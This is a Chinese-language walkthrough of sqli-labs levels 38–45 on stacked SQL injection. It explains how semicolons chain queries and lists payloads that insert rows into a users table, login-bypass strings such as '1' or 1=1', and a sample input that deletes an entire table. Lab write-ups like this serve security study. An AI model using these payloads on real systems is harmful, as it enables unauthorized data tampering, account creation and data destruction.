slqilabs靶场记录堆叠注入(八)

Stacked injections-堆叠注入

从字面意思上来看就是一堆的sql语句一起执行.而在真实的运用中也是这样的,我们知道在mysql中,主要是在命令行中,每一条语句的结尾加;表示语句的结束.这样我们就想到了是不是可以多句一起使用.这个就叫stacked injection.

原理介绍

在sql中,分号;是用来表示一条sql语句的结束,试着想一下我们在;结束一个sql语句之后继续构造下一条语句,会不会一起执行?因为这个想法也就造成了堆叠注入.而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别吗?区别就在于union或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句.

户输入:
1;delete from products
服务器端产生的sql语句为:(因没有对输入的参数进行过滤)
select * from products where productid=1;delete from products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除

堆叠注入的局限性

堆叠注入的局限性在于并不是每一个环境都可以执行,可能收到api或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序

在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入的第二个语句产生错或者结果只能被忽略,我们在前端界面是无法看到返回的结果的.因此,在读取数据时,我们建议使用union(联合)注入.同时在使用堆叠注入之前.我们也是需要知道一些数据库的相关信息的.

less-38基于错误GET单引号字符型堆叠注入

image-20220318185437441

mysqli_multi_query()函数执行一个或多个针对数据库的查询.多个查询用分号进行分割.(有这个才能进行堆叠)分号我们可以加入新的语句

堆叠注入需要依靠前文所写的注入方式来获取数据库的信息(因为源代码没有进行任何过滤,还爆数据库错误信息,是最简单的SQL注入),在这里只演示如何插入新的数据。

1';insert into users(id,username,password) values(38,'wanan','1')--+

image-20220318190414507

可以发现语句已经写进去了

image-20220318190544914

PHP mysqli_multi_query() 函数
mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。
一、mysql与mysqli的概念相关:
1、mysql与mysqli都是php方面的函数集,与mysql数据库关联不大
2、在php5版本之前,一般是用php的mysql函数去驱动mysql数据库的,比如mysql_query()的函数,属于面向过程3、在php5版本以后,增加了mysqli的函数功能,某种意义上讲,它是mysql系统函数的增强版,更稳定更高效更安全,与mysql_query()对应的有mysqli_query(),属于面向对象,用对象的方式操作驱动mysql数据库。mysqli有两种方式:一种是面对对象的,一种是面向过程的。
二、mysql与mysqli的区别:
1、mysql是非持继连接函数,mysql每次链接都会打开一个连接的进程。
2、mysqli是永远连接函数,mysqli多次运行mysqli将使用同一连接进程,从而减少了服务器的开销。mysqli封装了诸如事务等一些高级操作,同时封装了DB操作过程中的很多可用的方法。

less-39基于错误GET数字型堆叠注入

image-20220318191134842

数字型注入

?id=1;insert into users(id,username,password) values(39,'less39','hello')--+

less-40基于BoolGET单引号小括号字符型盲注堆叠注入

image-20220318191238843

?id=1');insert into users values(40,'Less40','hello')--+

less-41基于BoolGET数字型盲注堆叠注入

image-20220318191828896

?id=1;insert into users values(41,'Less41','hello')--+

less-42基于存储POST单引号字符型堆叠注入

image-20220318191945474

这关看起来和less-24是一样的界面,但是实际上是有不同的,我们点击新建一个用户

image-20220318192312399

需要进行创建用户再进行侵入

1';insert into users(id,username,password) values(42,'Less42','Less42')#

成功使用新建的用户登录进去

image-20220318192800345

less-43基于存储POST单引号小括号字符型堆叠注入

本关与 42 关的原理基本一致,我们还是定位在 login.php 中的 password。看一下 sql 语句为:

image-20220318193155911

1');insert into users values(43,'Less43','Less43')#

Less-44基于存储POST单引号字符型盲注堆叠注入

本关是基于盲注的,这里盲注主要是要没有报错信息,所以要采用盲注。这关与 42 关的区 别就在于没有报错信息,当 POST 没有报错回显时,判断查询语句就需要构造永真条件同化登录失败与查询出错,通过返回的图片不同来确定是否符合查询语句闭合的条件

login_user=admin&login_password=1 or 1=1--+
login_user=admin&login_password=1' or 1=1--+
login_user=admin&login_password=1" or 1=1--+
login_user=admin&login_password=1') or 1=1--+
login_user=admin&login_password=1") or 1=1--+
1';insert into users values ('44','less44','hello')#

less-45基于存储POST单引号小括号字符型盲注堆叠注入

45 关与 43 关的 payload 是一样的,只不过 45 关依旧没有报错信息。

1');insert into users(id,username,password) values(45,'Less45','Less45')#